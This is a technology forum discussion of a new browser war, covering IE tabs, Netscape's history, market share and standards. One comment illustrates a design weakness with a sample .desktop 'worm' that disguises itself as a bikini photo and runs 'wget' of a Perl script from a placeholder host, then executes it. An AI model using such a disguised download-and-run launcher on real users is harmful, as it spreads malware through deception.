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Browser Wars 2: Electric Boogaloo

Posted by ryuzaki0 on from the better-than-orc-and-pie dept.

Tomas wrote to mention an article up on XYZ Computing discussing what is shaping up to be another round of the Browser Wars. From the article: "To anyone that has been following the Window's browser news lately, it is apparent that the stage is set for another browser war. Last experienced during the nineties, companies are fighting over which program consumers use to view the internet. For the average computer user this is a very good thing as it should drastically improve browser performance in a short period of time."

15 of 251 comments (clear)

  1. what do you mean MS doesn't do tabs? by yagu · · Score: 5, Interesting

    From the fine article:

    The feature which everyone is talking about lately is the addition of tabbed browsing to IE. While all other popular browsers have gone the tabbed route IE has resisted, ostensibly because other Microsoft programs do not use this. The change will be made though it is less important that in the past because Windows XP's taskbar is capable of grouping similar buttons, which effectively tabs a number of IE windows.

    First, Windows products do seem to use TABS.... Right-click on "My Computer" (if you've actually left it named that!), select PROPERTIES. Not only does Microsoft use TABS to manage some of the most important aspects of computers, they've done it poorly! What the....???? When you click on an upper row tab, the upper row of TABS becomes the bottom row?!? Wow! Yes, Microsoft products not only support and/or use TABS, they were the first to make me hate tabbed interfaces.

    Fortunately Mozilla and Firefox came along and convinced me tabbed interfaces could be done nicely and ergonomicly. I'm back in the tabbed fold... sigh.

    Second, the claim that adding tabbed browsing to IE is less important because the Taskbar can group similar activities, therefor it already is like tabbed browsing may illustrate more than I'm able how Microsoft doesn't get it. The "like apps" Taskbar browsing has been the source of more headaches for me... I've tried using it, found it obtuse and annoying -- that's okay, just my preference and opinion. But, once again, it's been frustrating in a support role because you (rhetorically) end up trouble-shooting for users an interface poorly thought out and confusing to users. I find Microsoft's "easy to use" ideas sometimes baffling.... (how many times have you over the phone tried to walk someone through a WORD problem only to stumble when they can't find the menu option, and it's because Microsoft has unilaterally decided "hiding" little-used features under menu chevrons).

    Other than that, back to the main topic, hopefully more energetic competition in the browser world will mean better and higher quality browsers, but if history serves, it will be a minor spurt in advancement until Microsoft has re-landed their stranglehold on that segment of the market.... and I'm guessing that won't take very long.

    1. Re:what do you mean MS doesn't do tabs? by wallykeyster · · Score: 4, Insightful

      Personalized Menus are a support nightmare, but lets not stop there. If you want to talk about an even worse default setting that has caused unbelievable trouble, what about hiding file extensions? This option was largely responsible for the success of email viruses that came as attachments named "big_boobs.jpg.exe". Despite little value to this setting and massive downside, Microsoft refused to change it for years.

    2. Re:what do you mean MS doesn't do tabs? by yagu · · Score: 4, Insightful

      Absolutely Microsoft in my opinion has done more damage to the interest of seamless computing with that single "transparency" than maybe all other gaffes combined (probably thought they were creating something seamless!)! I've seen more hacks, more lost files, more corrupt files, and more hijacked files with the hidden extension "feature". Jumping from the 8.3 restriction in DOS (another thing Microsoft could've/should've fixed long ago with their bully pulpit but didn't) into Windows and GUI's and high powered computing rather than expunging extensions as a requirement to "make things work", Microsoft hid them! And so something that is ostensibly necessary in the Microsoft paradigm and probably should be opaque so people can be aware, ask questions, and learn what extensions are, how they're used, and why they exist.... Microsoft opts to make transparent!

      You're right on about the filename.jpg.exe hacks.... but equally annoying are the piggybacking superfluous extensions, e.g., mypicture.jpg.JPG. Sheeesh!

    3. Re:what do you mean MS doesn't do tabs? by diegocgteleline.es · · Score: 5, Interesting

      but if history serves, it will be a minor spurt in advancement until Microsoft has re-landed their stranglehold on that segment of the market.... and I'm guessing that won't take very long.

      Actually, the reason why IE has 90% of market share is not that Microsoft put it by default in windows. It helped, indeed, but there're proofs that netscape pretty much fucked it up. Basically, Netscape let them win without opposing resistance

      Here's an interview from Arstechnica to Scott Collins, a programmer who was working at netscape back in the netscape 4.0 days:


      Ars: You mention mistakes made by Microsoft. What do you feel are mistakes that Mozilla has made in the past?

      There was a fundamental mistake made by Netscape management, twice, which cost us a release at the most inopportune time. I think we can attribute a great deal of our market share loss to this mistake that was pretty much based completely on lies from one executive, who has since left the company (and left very rich) and who was an impediment to everything that we did. He was an awful person, and it is completely on him that we missed a release. We had a "Netscape 5" that was within weeks of being ready to go, and this person said that we needed to ship something based on Gecko within 6 months instead. Every single engineer in the company told management "No, it will be two years at least before we ship something based on Gecko." Management agreed with the engineers in order to get 5.0 out.a

      Three months later they came back and said "We've changed our mind, this other executive has convinced us, except now instead of six months, you need to do it in three months." Well, you can't put 50 pounds of [crap] in a ten pound bag, it took two years. And we didn't get out a 5.0, and that cost of us everything, it was the biggest mistake ever, and I put it all on the feet of this one individual, whom I will not name.

    4. Re:what do you mean MS doesn't do tabs? by diegocgteleline.es · · Score: 5, Informative

      This option was largely responsible for the success of email viruses that came as attachments named "big_boobs.jpg.exe"

      IMO the problem there was the .exe extension, not that they hide it. No matter what you do, a .exe file is executable. Compare it to the Unix's permission model. You could download a executable from internet, but it wouldn't work because it has not the +x bit set.

      And don't think you're free of the Windows braindamage in linux/BSD. Freedesktop managed to fuck it again, with the "desktop specification file" (Warning: don't try to discuss this with the freedesktop guys. I already tried). Noticed how nautilus and konqueror hide the extension in .desktop files? Noticed how inside a .desktop file you have a "Run=" field where you can put "Run=wget www.foo.com/worm.pl; perl worm.pl"? Noticed in fact how you can hide the whole file name by adding a "Name=" field?

      In fact, look at the following valid worm:

      I'm called Mary, and I want to know what you think about my new bikini
      To see me, save the attached file in your desktop and double click it. Kisses!

      attached file: save.to.your.desktop
      Name=My Bikini zoomed.jpg
      Icon=fakeiconpresentonthesystem.png
      Exec=wget http://www.foo.com/evilperlscript; perl evilperlscript

      We just need more marketshare to see this work.

  2. Performance? by slavemowgli · · Score: 5, Insightful

    Maybe it's just me, but I think browser performance isn't much of a problem any more these days. Standards compliance, on the other hand, is, and I hope that this is the area where a new browser "war" might actually help out.

    We all know that IE's standards compliance leaves a lot to be desired, but the Mozilla crew's product leaves a number of things to be desired, too. The Acid2 test may be one example, but there's also other things like MNG support and CSS-generated content where Gecko is still lacking, so hopefully, the people in charge will realize that if they want to replace IE as the standard browser, they shouldn't repeat the same mistakes of not caring about the finer details of the standards.

    --
    quidquid latine dictum sit altum videtur.
  3. What about Opera? by Will2k_is_here · · Score: 5, Interesting

    I don't even like Opera but I'm very surprised Opera 8 never got mentioned in the article. NS8 over Opera?! Sub-par... sub-par...

  4. Everyone of these damned articles is the same by ian+rogers · · Score: 4, Insightful

    Of course IE has had 90%+ market share.

    You really expect people who don't even know how computers work to go out of their way to get a new browser when they have no clue why they would need it? Not only did IE come standard on all the Windows OSes, it also came on OS 9. If Firefox or some other alternative browser can standard, and people had to download IE in order to use it, that browser would have 90%+ market share.

    Until Firefox starts coming on computers instead of/in addition to IE, there's no way it's going to have 90%+ market share.

  5. No, the problem is this... by SamMichaels · · Score: 4, Insightful

    Last experienced during the nineties, companies are fighting over which program consumers use to view the internet. (Emphasis added)

    I "view the internet" using ssh. Sometimes FTP. Maybe SCP. I do like to view the internet using POP3, too.

    The more WE, as people in-the-know, screw up the terminology, the more the sheeple will too. How about we give them the impression that the "interweb" has more than just "that dot com thing"? Maybe, just maaaaaaaybe, if they understand that the INTERNET is a bunch of computers connected together that can talk to each other (and say MANY different things) then they'll also better understand security concerns, patching, etc. Isn't security one of the big factors of the "browser war"?

  6. Most people don't. by DogDude · · Score: 5, Insightful

    That's great for you, but you're not in the majority. The browser wars will ocne again be determined by populartiy, which is determined by prettiness, features, etc. Most people don't really care about security, and only developers (and other related uber-geeks) care about standards compliance.

    --
    I don't respond to AC's.
  7. BROWSER WARS by mtrisk · · Score: 5, Funny
    BROWSER WARS
    EPISODE IV: A NEW HOPE

    It is a period of civil war. Open Source spaceships, striking from a hidden base, have won their first victory against the evil Microsoft Empire.

    During the battle, Mozilla spies managed to steal secret plans to the Empire's ultimate weapon, the INTERNET EXPLORER 7, a tabbed browser with enough market share to destroy the entire open source movement.

    Pursued by Microsoft's sinister agents, BEN GOODGER races races home aboard his starship, custodian of the stolen code that can save his project and restore freedom (both libre and beer) to the internet...
    --

    Without a proper flamewar, Anonymous was undecided on what shell to run.
  8. It's funny by mcc · · Score: 4, Insightful

    How any time you actually have an honest choice of software in the consumer software world, it's such a strange and upsetting event we have to describe it by the word "wars".

    Wouldn't it be nice if competition between multiple partners were the rule, rather than an exception so bizarre that when it occurs we widely describe it by a word normally associated with mass death and destruction?

    Kind of a small thing, but y'know, just a thought...

    --
    Irritable, left-wing and possibly humorous bumper stickers and t-shirts
  9. Article is a click troll by Animats · · Score: 5, Informative
    Ads to the left. Ads to the right. Ads at the top. Ads in the middle. One paragraph of content per page, then more ads.

    Dumb article, too.

    The next big play in the "browser wars" should be more aggressive ad blocking.

  10. There will never be another browser war on windows by krappie · · Score: 4, Insightful
    There will never be another browser war on windows. As long as the following are true:
    • Its nearly impossible to buy a computer without buying windows. Manufacturers dont want to upset Microsoft.
    • Every computer that you do buy that comes with windows has a big blue 'e' icon on the desktop.
    • Idiots use computers.

    This is what caused the almost immediate switch from Netscape to Internet Explorer. It had nothing to do with the features of either browser. As long as these three things are true, IE will NEVER go below 80% of the web browser market.
  11. Browser war may lead 2 instability/incompatibility by thekaz · · Score: 4, Insightful

    The last major browser war led to divergent implementations of HTML & JS which drove web developers crazy. The rush to more features led to frequent but poorly tested releases that were (a) unstable; (b) not secure. It is true, however, that it eventually led to a new generation of browsers and much benefit to the end users. One way to avoid the instability may be to somehow enforce and demand adherence to standards, but this is easier said than done.